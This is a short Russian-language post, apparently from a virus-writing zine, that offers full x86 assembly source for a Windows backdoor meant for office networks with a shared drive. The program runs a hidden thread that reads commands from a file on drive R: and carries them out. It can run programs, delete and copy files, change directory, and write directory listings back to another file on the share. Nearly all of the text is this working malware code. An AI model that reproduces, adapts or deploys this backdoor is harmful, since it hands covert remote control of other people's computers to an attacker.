BACKDOOR
                   ~~~~~~~~


Представляю на ваш суд backdoor для локальных сетей,
где имеется общий диск для всех ЭВМ.

.386
includelib import32.lib
locals __
MAX_PATH = 260
find_str struc
         dwFileAttributes  dd ?
         ftCreationTime    dq ?
         ftLastAccessTime  dq ?
         ftLastWriteTime   dq ? 
         nFileSizeHigh     dd ? 
         nFileSizeLow      dd ?
         dwReserved0       dd ?
         dwReserved1       dd ?   
         cFileName         db MAX_PATH dup (?)
         cAlternateFileName db 14 dup (?)
         ends
callx macro api
      extrn &api&: proc
      call &api&
      endm
.model flat
.data

input  db 'r:\server.$$$',0
output db 'r:\server.###',0

fsr   db '*.*',0 
buf   db 80 dup (?)
find  find_str <>

.code
start:
    push eax
    push esp 
    push 0
    push 0
    push offset backdoor
    push 64*1204
    push 0  
    callx CreateThread
    pop eax 
    sub esp, 6*4 
    mov edi, esp
__1:
    push 0 0 0
    push edi
    callx GetMessageA
    test eax, eax
    jz  __2 
    push edi 
    callx TranslateMessage
    push edi
    callx DispatchMessageA
    jmp __1 
__2:
    push 0
    callx ExitProcess

backdoor:
    call set_seh
    mov  esp, [esp.8]
    jmp  exit
set_seh:
    sub  eax, eax
    push 4 ptr fs:[eax]
    mov  4 ptr fs:[eax], esp
    call fexist
    lea  esi, input
    call del
exit:
    pop 4 ptr fs:[0]
    pop eax 
    jmp backdoor

fexist:
    push 0
    push offset input
    callx _lopen
    cmp eax, -1
    jz __1
    xchg eax, ebx
    mov edi, offset buf
    push 80/4
    pop ecx
    cld
    sub eax, eax
    rep stosd
    push 80
    push offset buf
    push ebx
    callx _lread
    mov esi, offset buf
    and 4 ptr [esi], 0DFDFDFDFh
    lodsd
    ; 'RUN '
    cmp eax, ' NUR' AND 0DFDFDFDFh
    jnz __2
    call run  
    ; 'DEL '
__2:
    cmp eax, ' LED' AND 0DFDFDFDFh
    jnz __3
    call del 
    ; 'DIR '
__3:
    cmp eax, ' YPC' AND 0DFDFDFDFh
    jnz __5
    call cpy
__5:  
    dec esi
    cmp 2 ptr [esi-3], 'DC' AND 0DFDFDFDFh
    jnz __6
    call cd
__6:
    ; 'DIR'  
    cmp 2 ptr [esi-3], 'ID'
    jnz __4 
    cmp 1 ptr [esi-1], 'R'
    jnz __4
    call dir 
__4:
    push ebx
    callx _lclose
__1:
    ret
run:
    push 0
    push esi
    callx WinExec
    ret
del:
    push 0
    push esi
    callx SetFileAttributesA
    push esi
    callx DeleteFileA
    ret
cpy:
    push esi
    mov edi, esi
__1:
    lodsb
    cmp al, ' '
    jnz __1 
    mov byte ptr [esi-1], 0
    push 0
    push esi
    push edi
    callx CopyFileA
    pop esi
    ret
dir:
    push ebx
    push offset find
    push offset fsr
    callx FindFirstFileA
    cmp eax, -1
    jz __1
    xchg eax, edi
__2:
    lea esi, [find.cAlternateFileName]
    cmp byte ptr [esi], 0
    jnz __3
    lea esi, [find.cFileName]
__3:
    mov ebx, esi
    push 13
    pop ecx
__4:
    cmp byte ptr [ebx], ch
    jnz __5
    mov byte ptr [ebx], ' '
__5:
    inc ebx
    loop __4
    test byte ptr [find.dwFileAttributes], 10h
    mov eax, 'rid' 
    jnz  __6
    mov eax, 'lif'
__6:
    mov  4 ptr [ebx], eax    
    call add_str     
    lea  ebx, [find.cFileName]
    mov  ecx, MAX_PATH+14
    sub  al, al
__7:
    mov byte ptr [ebx], al
    inc ebx
    loop __7  
    push offset find
    push edi
    callx FindNextFileA
    test eax, eax
    jnz __2
__1:push edi
    callx CloseHandle 
    pop ebx
    ret
cd: push esi
    callx SetCurrentDirectoryA
    ret
add_str:
    push edi
    push 2
    push offset output
    callx _lopen
    cmp eax, -1
    jnz __1
    push 0
    push offset output
    callx _lcreat
__1: 
    xchg eax, ebx
    push 2
    push 0
    push ebx
    callx _llseek
    mov edi, esi
    sub ecx, ecx
    dec ecx 
    xor eax, eax
    cld
    repne scasb
    neg ecx
    dec ecx
    push ecx
    push esi
    push ebx
    callx _lwrite
    push ebx
    callx _lclose
    pop edi
    ret
end start